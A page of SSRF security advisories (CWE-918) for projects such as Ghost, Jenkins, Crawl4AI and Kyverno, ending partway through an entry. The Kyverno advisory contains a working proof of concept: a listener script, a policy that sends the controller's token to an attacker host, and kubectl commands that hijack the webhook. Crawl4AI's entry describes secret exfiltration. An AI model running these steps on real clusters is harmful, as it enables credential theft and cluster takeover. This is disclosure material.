CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4755 vulnerabilities reference this CWE, most recent first.
GHSA-F7H5-C625-3795
Vulnerability from github – Published: 2025-07-16 12:30 – Updated: 2025-07-18 17:45In Eclipse GlassFish version 6.2.5, it is possible to perform a Server Side Request Forgery attack using specific endpoints.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.glassfish.main.admingui:console-common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "6.2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-9408"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-18T17:45:26Z",
"nvd_published_at": "2025-07-16T12:15:23Z",
"severity": "HIGH"
},
"details": "In Eclipse GlassFish version 6.2.5, it is possible to perform a Server Side Request Forgery attack using specific endpoints.",
"id": "GHSA-f7h5-c625-3795",
"modified": "2025-07-18T17:45:26Z",
"published": "2025-07-16T12:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9408"
},
{
"type": "PACKAGE",
"url": "https://github.com/eclipse-ee4j/glassfish"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/cve-assignement/-/issues/38"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/239"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Eclipse GlassFish is vulnerable to Server Side Request Forgery attacks through specific endpoints"
}
GHSA-F7QG-XJ45-W956
Vulnerability from github – Published: 2025-09-15 20:31 – Updated: 2025-09-22 15:49Impact
A vulnerability in Ghost's oEmbed mechanism allows staff users to exfiltrate data from internal systems via SSRF.
Vulnerable versions
This vulnerability is present in Ghost v5.99.0 to v5.130.3 to and Ghost v6.0.0 to v6.0.8.
Patches
v5.130.4 and v6.0.9 contain a fix for this issue.
References
The original report is available here: https://fluidattacks.com/advisories/regida
We thank Cristian Vargas for discovering and disclosing this vulnerability responsibly.
For more information
If you have any questions or comments about this advisory, email us at security@ghost.org.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.0.8"
},
"package": {
"ecosystem": "npm",
"name": "ghost"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.0.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.130.3"
},
"package": {
"ecosystem": "npm",
"name": "ghost"
},
"ranges": [
{
"events": [
{
"introduced": "5.99.0"
},
{
"fixed": "5.130.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-9862"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-15T20:31:14Z",
"nvd_published_at": "2025-09-17T15:15:43Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nA vulnerability in Ghost\u0027s oEmbed mechanism allows staff users to exfiltrate data from internal systems via SSRF.\n\n### Vulnerable versions\n\nThis vulnerability is present in Ghost v5.99.0 to v5.130.3 to and Ghost v6.0.0 to v6.0.8.\n\n### Patches\n\nv5.130.4 and v6.0.9 contain a fix for this issue.\n\n### References\n\nThe original report is available here: https://fluidattacks.com/advisories/regida\n\nWe thank Cristian Vargas for discovering and disclosing this vulnerability responsibly. \n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at [security@ghost.org](mailto:security@ghost.org).",
"id": "GHSA-f7qg-xj45-w956",
"modified": "2025-09-22T15:49:29Z",
"published": "2025-09-15T20:31:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/TryGhost/Ghost/security/advisories/GHSA-f7qg-xj45-w956"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9862"
},
{
"type": "WEB",
"url": "https://github.com/TryGhost/Ghost/commit/01d64c7c0ffbf90cd036195c60ded6d08077d612"
},
{
"type": "WEB",
"url": "https://github.com/TryGhost/Ghost/commit/ffe9d079afa68557c581d224f1ff126e625b06e3"
},
{
"type": "WEB",
"url": "https://fluidattacks.com/advisories/regida"
},
{
"type": "PACKAGE",
"url": "https://github.com/TryGhost/Ghost"
},
{
"type": "WEB",
"url": "https://github.com/TryGhost/Ghost/releases/tag/v6.0.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Ghost vulnerable to Server Side Request Forgery (SSRF) via oEmbed Bookmark"
}
GHSA-F7RM-PM4C-W834
Vulnerability from github – Published: 2025-08-15 18:31 – Updated: 2025-08-15 18:31Server-Side Request Forgery (SSRF) vulnerability in Drupal AI SEO Link Advisor allows Server Side Request Forgery.This issue affects AI SEO Link Advisor: from 0.0.0 before 1.0.6.
{
"affected": [],
"aliases": [
"CVE-2025-8675"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-15T17:15:33Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Drupal AI SEO Link Advisor allows Server Side Request Forgery.This issue affects AI SEO Link Advisor: from 0.0.0 before 1.0.6.",
"id": "GHSA-f7rm-pm4c-w834",
"modified": "2025-08-15T18:31:12Z",
"published": "2025-08-15T18:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8675"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-contrib-2025-095"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F8HV-G549-HWG2
Vulnerability from github – Published: 2026-04-16 20:45 – Updated: 2026-06-08 19:54Impact
The webhook add-on did not utilize existing SSRF protection.
Patches
- https://github.com/WeblateOrg/weblate/pull/18815
Workarounds
Disabling the add-on would avoid misusing this.
References
Thanks to @Lihfdgjr for reporting this via GitHub.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Weblate"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39845"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T20:45:04Z",
"nvd_published_at": "2026-04-15T19:16:36Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe webhook add-on did not utilize existing SSRF protection.\n\n### Patches\n* https://github.com/WeblateOrg/weblate/pull/18815\n\n### Workarounds\nDisabling the add-on would avoid misusing this.\n\n### References\nThanks to @Lihfdgjr for reporting this via GitHub.",
"id": "GHSA-f8hv-g549-hwg2",
"modified": "2026-06-08T19:54:41Z",
"published": "2026-04-16T20:45:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-f8hv-g549-hwg2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39845"
},
{
"type": "WEB",
"url": "https://github.com/WeblateOrg/weblate/pull/18815"
},
{
"type": "PACKAGE",
"url": "https://github.com/WeblateOrg/weblate"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/weblate/PYSEC-2026-156.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Weblate: SSRF via the webhook add-on using unprotected fetch_url()"
}
GHSA-F8JX-JHWH-GQ9J
Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2024-04-04 02:02A blind SSRF vulnerability exists in the Visualizer plugin before 3.3.1 for WordPress via wp-json/visualizer/v1/upload-data.
{
"affected": [],
"aliases": [
"CVE-2019-16932"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-09-30T16:15:00Z",
"severity": "CRITICAL"
},
"details": "A blind SSRF vulnerability exists in the Visualizer plugin before 3.3.1 for WordPress via wp-json/visualizer/v1/upload-data.",
"id": "GHSA-f8jx-jhwh-gq9j",
"modified": "2024-04-04T02:02:11Z",
"published": "2022-05-24T16:57:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16932"
},
{
"type": "WEB",
"url": "https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/visualizer/#developers"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/9892"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F8R7-7HV9-7F43
Vulnerability from github – Published: 2022-05-14 03:13 – Updated: 2022-12-12 16:34A server-side request forgery vulnerability exists in Jenkins CAS Plugin 1.4.1 and older in CasSecurityRealm.java that allows attackers with Overall/Read access to cause Jenkins to send a GET request to a specified URL. Additionally, this form validation method did not require POST requests, resulting in a CSRF vulnerability. As of version 1.4.2, this form validation method requires POST requests and the Overall/Administer permission.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:cas-plugin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1000188"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-12T16:34:18Z",
"nvd_published_at": "2018-06-05T20:29:00Z",
"severity": "MODERATE"
},
"details": "A server-side request forgery vulnerability exists in Jenkins CAS Plugin 1.4.1 and older in CasSecurityRealm.java that allows attackers with Overall/Read access to cause Jenkins to send a GET request to a specified URL. Additionally, this form validation method did not require POST requests, resulting in a CSRF vulnerability. As of version 1.4.2, this form validation method requires POST requests and the Overall/Administer permission.",
"id": "GHSA-f8r7-7hv9-7f43",
"modified": "2022-12-12T16:34:18Z",
"published": "2022-05-14T03:13:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000188"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/cas-plugin/commit/25d952151d61dec3627e875f03ac4f648d5e883d"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/cas-plugin"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2018-06-04/#SECURITY-809"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins CAS Plugin Server-Side Request Forgery vulnerability"
}
GHSA-F8VW-8VGH-22R9
Vulnerability from github – Published: 2025-07-18 15:31 – Updated: 2025-09-13 04:43A vulnerability, which was classified as critical, was found in Xuxueli xxl-job up to 3.1.1. Affected is the function httpJobHandler of the file src\main\java\com\xxl\job\executor\service\jobhandler\SampleXxlJob.java. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.xuxueli:xxl-job-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-7787"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-21T12:26:33Z",
"nvd_published_at": "2025-07-18T15:15:31Z",
"severity": "LOW"
},
"details": "A vulnerability, which was classified as critical, was found in Xuxueli xxl-job up to 3.1.1. Affected is the function httpJobHandler of the file src\\main\\java\\com\\xxl\\job\\executor\\service\\jobhandler\\SampleXxlJob.java. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-f8vw-8vgh-22r9",
"modified": "2025-09-13T04:43:42Z",
"published": "2025-07-18T15:31:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7787"
},
{
"type": "WEB",
"url": "https://github.com/xuxueli/xxl-job/issues/3749"
},
{
"type": "PACKAGE",
"url": "https://github.com/xuxueli/xxl-job"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.316848"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.316848"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.615741"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "XXL-JOB is vulnerable to SSRF attacks"
}
GHSA-F989-C77F-R2CQ
Vulnerability from github – Published: 2026-06-16 21:00 – Updated: 2026-06-16 21:00Summary
The Docker API server let a request control where LLM calls were sent and which environment variable an LLM token resolved from. Both could be abused to exfiltrate server-held secrets. The Docker API is unauthenticated by default.
Vector 1 - attacker base_url
/md, /llm, and /llm/job accepted a base_url in the request and used it as the LLM endpoint while still attaching the server's configured provider API key. An attacker set base_url to a server they control and received the provider key (and any provider keys the server holds) in the inbound request.
Vector 2 - arbitrary environment variable read via env:
LLMConfig(api_token="env:NAME") resolved NAME from the server environment with os.getenv. Because request bodies were deserialized into LLMConfig (via a crawler config / extraction strategy), an attacker could set api_token="env:SECRET_KEY" (or env:REDIS_PASSWORD, etc.) and, paired with an attacker base_url, exfiltrate that secret. Reading the server's SECRET_KEY enables forging authentication tokens.
Impact
Disclosure of LLM provider API keys and other server secrets to an attacker-controlled endpoint; reading the JWT SECRET_KEY can lead to authentication bypass.
Fix
- The LLM endpoints ignore a request-supplied
base_url; the endpoint is always derived server-side from the provider name. The field is still accepted but no longer honored (no breaking 4xx). LLMConfigrefusesenv:resolution of protected environment-variable names (names containing SECRET/PASSWORD/PRIVATE, prefixes CRAWL4AI/AWS_SECRET, and SECRET_KEY/REDIS_PASSWORD/TOKEN). Normal provider keys (e.g. OPENAI_API_KEY) are unaffected.
Workarounds
- Upgrade to the patched version.
- Enable authentication (
CRAWL4AI_API_TOKEN). - Do not place sensitive secrets in the server environment alongside provider keys.
Credits
- Geo (geo-chen) - reported the LLM credential exfiltration via request base_url.
- Internal security audit (Crawl4AI maintainers) - the env: arbitrary-variable read.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.7"
},
"package": {
"ecosystem": "PyPI",
"name": "crawl4ai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-522",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T21:00:31Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe Docker API server let a request control where LLM calls were sent and which environment variable an LLM token resolved from. Both could be abused to exfiltrate server-held secrets. The Docker API is unauthenticated by default.\n\n### Vector 1 - attacker base_url\n\n`/md`, `/llm`, and `/llm/job` accepted a `base_url` in the request and used it as the LLM endpoint while still attaching the server\u0027s configured provider API key. An attacker set `base_url` to a server they control and received the provider key (and any provider keys the server holds) in the inbound request.\n\n### Vector 2 - arbitrary environment variable read via `env:`\n\n`LLMConfig(api_token=\"env:NAME\")` resolved `NAME` from the server environment with `os.getenv`. Because request bodies were deserialized into `LLMConfig` (via a crawler config / extraction strategy), an attacker could set `api_token=\"env:SECRET_KEY\"` (or `env:REDIS_PASSWORD`, etc.) and, paired with an attacker `base_url`, exfiltrate that secret. Reading the server\u0027s `SECRET_KEY` enables forging authentication tokens.\n\n### Impact\n\nDisclosure of LLM provider API keys and other server secrets to an attacker-controlled endpoint; reading the JWT `SECRET_KEY` can lead to authentication bypass.\n\n### Fix\n\n- The LLM endpoints ignore a request-supplied `base_url`; the endpoint is always derived server-side from the provider name. The field is still accepted but no longer honored (no breaking 4xx).\n- `LLMConfig` refuses `env:` resolution of protected environment-variable names (names containing SECRET/PASSWORD/PRIVATE, prefixes CRAWL4AI*/AWS_SECRET*, and SECRET_KEY/REDIS_PASSWORD/TOKEN). Normal provider keys (e.g. OPENAI_API_KEY) are unaffected.\n\n### Workarounds\n\n- Upgrade to the patched version.\n- Enable authentication (`CRAWL4AI_API_TOKEN`).\n- Do not place sensitive secrets in the server environment alongside provider keys.\n\n### Credits\n\n- Geo ([geo-chen](https://github.com/geo-chen)) - reported the LLM credential exfiltration via request base_url.\n- Internal security audit (Crawl4AI maintainers) - the env: arbitrary-variable read.",
"id": "GHSA-f989-c77f-r2cq",
"modified": "2026-06-16T21:00:31Z",
"published": "2026-06-16T21:00:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/unclecode/crawl4ai/security/advisories/GHSA-f989-c77f-r2cq"
},
{
"type": "PACKAGE",
"url": "https://github.com/unclecode/crawl4ai"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Crawl4AI: LLM credential exfiltration in Docker server via request base_url and env: token resolution"
}
GHSA-F9G8-6PPC-PQQ4
Vulnerability from github – Published: 2026-04-16 21:36 – Updated: 2026-04-24 21:02Summary
Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.
Affected version
Tested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.
Details
There are two issues that combine into one attack chain.
The first is in pkg/engine/apicall/executor.go around line 138. The service URL from the policy spec goes straight into http.NewRequestWithContext():
req, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)
No scheme check, no IP restriction, no allowlist. The policy validation webhook (pkg/validation/policy/validate.go) only looks at JMESPath syntax.
The second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it:
if req.Header.Get("Authorization") == "" {
token := a.getToken()
req.Header.Add("Authorization", "Bearer "+token)
}
The token is the admission controller's long-lived SA token from /var/run/secrets/kubernetes.io/serviceaccount/token. With the default Helm install, this SA (kyverno-admission-controller) can read and PATCH both MutatingWebhookConfiguration and ValidatingWebhookConfiguration.
Reproduction
Environment: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install
Step 1: Start an HTTP listener on an attacker machine:
# capture_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, datetime
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(json.dumps({
"timestamp": str(datetime.datetime.now()),
"path": self.path,
"headers": dict(self.headers)
}, indent=2))
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(b'{"ok": true}')
HTTPServer(("0.0.0.0", 9999), Handler).serve_forever()
Step 2: Create a ClusterPolicy that calls the attacker server:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: ssrf-poc
spec:
validationFailureAction: Audit
background: false
rules:
- name: exfil
match:
any:
- resources:
kinds:
- Pod
context:
- name: exfil
apiCall:
service:
url: "http://ATTACKER-IP:9999/steal"
method: GET
jmesPath: "@"
validate:
message: "check"
deny:
conditions:
any:
- key: "{{ exfil }}"
operator: Equals
value: "NEVER_MATCHES"
Step 3: Create any pod to trigger policy evaluation:
kubectl run test --image=nginx
Step 4: The listener receives the SA token immediately:
Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
Decoded JWT sub claim: system:serviceaccount:kyverno:kyverno-admission-controller
Every subsequent pod creation sends the token again. No race condition, no timing — it fires every time.
Step 5: Use the token to hijack webhooks:
# Verify permissions
kubectl auth can-i patch mutatingwebhookconfigurations \
--as=system:serviceaccount:kyverno:kyverno-admission-controller
# yes
# Patch the webhook to redirect to attacker
kubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \
--type='json' \
-p='[{"op":"replace","path":"/webhooks/0/clientConfig/url","value":"https://ATTACKER:443/mutate"}]' \
--token="eyJhbG..."
After this, every K8s API request that triggers the webhook goes to the attacker's server. The attacker can mutate any pod spec — inject containers, mount host paths, add privileged security contexts.
Verified permissions of stolen token
Tested with the default Helm installation:
| Action | Result |
|---|---|
| List pods (all namespaces) | Allowed |
| Read configmaps in kube-system | Allowed |
| PATCH MutatingWebhookConfiguration | Allowed |
| PATCH ValidatingWebhookConfiguration | Allowed |
| Read secrets (cluster-wide) | Denied (per-NS only) |
Impact
An attacker who can create ClusterPolicy resources (or who compromises a service account with that permission) can steal Kyverno's admission controller token and use it to:
- Hijack Kyverno's own mutating/validating webhooks
- Intercept and modify every API request flowing through the cluster
- Inject malicious containers, escalate privileges, exfiltrate secrets
The token is also sent to internal endpoints — http://169.254.169.254/latest/meta-data/ works, so on cloud-hosted clusters (EKS, GKE, AKS) this also leaks cloud IAM credentials.
RBAC note: ClusterPolicy is a cluster-scoped resource, so creating one requires cluster-level RBAC. But in practice, platform teams often grant policy-write to team leads or automation pipelines. The auto-injection of the SA token is the unexpected part — nobody expects writing a policy to leak the controller's credentials.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41323"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:36:20Z",
"nvd_published_at": "2026-04-24T04:16:20Z",
"severity": "HIGH"
},
"details": "## Summary\n\nKyverno\u0027s apiCall feature in ClusterPolicy automatically attaches the admission controller\u0027s ServiceAccount token to outgoing HTTP requests. The service URL has no validation \u2014 it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.\n\n## Affected version\n\nTested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.\n\n## Details\n\nThere are two issues that combine into one attack chain.\n\nThe first is in `pkg/engine/apicall/executor.go` around line 138. The service URL from the policy spec goes straight into `http.NewRequestWithContext()`:\n\n```go\nreq, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)\n```\n\nNo scheme check, no IP restriction, no allowlist. The policy validation webhook (`pkg/validation/policy/validate.go`) only looks at JMESPath syntax.\n\nThe second is at lines 155-159 of the same file. If the request doesn\u0027t already have an Authorization header, Kyverno reads its own SA token and injects it:\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n token := a.getToken()\n req.Header.Add(\"Authorization\", \"Bearer \"+token)\n}\n```\n\nThe token is the admission controller\u0027s long-lived SA token from `/var/run/secrets/kubernetes.io/serviceaccount/token`. With the default Helm install, this SA (`kyverno-admission-controller`) can read and PATCH both `MutatingWebhookConfiguration` and `ValidatingWebhookConfiguration`.\n\n## Reproduction\n\n**Environment**: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install\n\n**Step 1**: Start an HTTP listener on an attacker machine:\n\n```python\n# capture_server.py\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json, datetime\n\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n print(json.dumps({\n \"timestamp\": str(datetime.datetime.now()),\n \"path\": self.path,\n \"headers\": dict(self.headers)\n }, indent=2))\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(b\u0027{\"ok\": true}\u0027)\n\nHTTPServer((\"0.0.0.0\", 9999), Handler).serve_forever()\n```\n\n**Step 2**: Create a ClusterPolicy that calls the attacker server:\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: ssrf-poc\nspec:\n validationFailureAction: Audit\n background: false\n rules:\n - name: exfil\n match:\n any:\n - resources:\n kinds:\n - Pod\n context:\n - name: exfil\n apiCall:\n service:\n url: \"http://ATTACKER-IP:9999/steal\"\n method: GET\n jmesPath: \"@\"\n validate:\n message: \"check\"\n deny:\n conditions:\n any:\n - key: \"{{ exfil }}\"\n operator: Equals\n value: \"NEVER_MATCHES\"\n```\n\n**Step 3**: Create any pod to trigger policy evaluation:\n\n```bash\nkubectl run test --image=nginx\n```\n\n**Step 4**: The listener receives the SA token immediately:\n\n```\nAuthorization: Bearer eyJhbGciOiJSUzI1NiIs...\n```\n\nDecoded JWT `sub` claim: `system:serviceaccount:kyverno:kyverno-admission-controller`\n\nEvery subsequent pod creation sends the token again. No race condition, no timing \u2014 it fires every time.\n\n**Step 5**: Use the token to hijack webhooks:\n\n```bash\n# Verify permissions\nkubectl auth can-i patch mutatingwebhookconfigurations \\\n --as=system:serviceaccount:kyverno:kyverno-admission-controller\n# yes\n\n# Patch the webhook to redirect to attacker\nkubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \\\n --type=\u0027json\u0027 \\\n -p=\u0027[{\"op\":\"replace\",\"path\":\"/webhooks/0/clientConfig/url\",\"value\":\"https://ATTACKER:443/mutate\"}]\u0027 \\\n --token=\"eyJhbG...\"\n```\n\nAfter this, every K8s API request that triggers the webhook goes to the attacker\u0027s server. The attacker can mutate any pod spec \u2014 inject containers, mount host paths, add privileged security contexts.\n\n## Verified permissions of stolen token\n\nTested with the default Helm installation:\n\n| Action | Result |\n|--------|--------|\n| List pods (all namespaces) | Allowed |\n| Read configmaps in kube-system | Allowed |\n| PATCH MutatingWebhookConfiguration | **Allowed** |\n| PATCH ValidatingWebhookConfiguration | **Allowed** |\n| Read secrets (cluster-wide) | Denied (per-NS only) |\n\n## Impact\n\nAn attacker who can create ClusterPolicy resources (or who compromises a service account with that permission) can steal Kyverno\u0027s admission controller token and use it to:\n\n1. Hijack Kyverno\u0027s own mutating/validating webhooks\n2. Intercept and modify every API request flowing through the cluster\n3. Inject malicious containers, escalate privileges, exfiltrate secrets\n\nThe token is also sent to internal endpoints \u2014 `http://169.254.169.254/latest/meta-data/` works, so on cloud-hosted clusters (EKS, GKE, AKS) this also leaks cloud IAM credentials.\n\nRBAC note: ClusterPolicy is a cluster-scoped resource, so creating one requires cluster-level RBAC. But in practice, platform teams often grant policy-write to team leads or automation pipelines. The auto-injection of the SA token is the unexpected part \u2014 nobody expects writing a policy to leak the controller\u0027s credentials.",
"id": "GHSA-f9g8-6ppc-pqq4",
"modified": "2026-04-24T21:02:10Z",
"published": "2026-04-16T21:36:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-f9g8-6ppc-pqq4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41323"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/commit/bc4f91c4801b1eaa2edc0a14e2f1b0af8cf0c1f5"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/commit/c2eab00033e635bda4e4efb58c1b472b41728bb6"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/commit/f70e8ac1e7acd2e3844f9553e4a884f07f953de0"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Kyverno: ServiceAccount token leaked to external servers via apiCall service URL"
}
GHSA-FC43-VCVC-5QG7
Vulnerability from github – Published: 2026-07-17 03:31 – Updated: 2026-07-17 03:31OpenClaw 2026.4.14 before 2026.5.26 contain a server-side request forgery vulnerability in browser snapshot routes that fail to validate post-navigation destinations. Attackers with lower-trust access can bypass OpenClaw policy checks to reach network destinations that should have been blocked.
{
"affected": [],
"aliases": [
"CVE-2026-62227"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-17T02:18:10Z",
"severity": "MODERATE"
},
"details": "OpenClaw 2026.4.14 before 2026.5.26 contain a server-side request forgery vulnerability in browser snapshot routes that fail to validate post-navigation destinations. Attackers with lower-trust access can bypass OpenClaw policy checks to reach network destinations that should have been blocked.",
"id": "GHSA-fc43-vcvc-5qg7",
"modified": "2026-07-17T03:31:23Z",
"published": "2026-07-17T03:31:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-2x93-h3hg-2xfp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62227"
},
{
"type": "WEB",
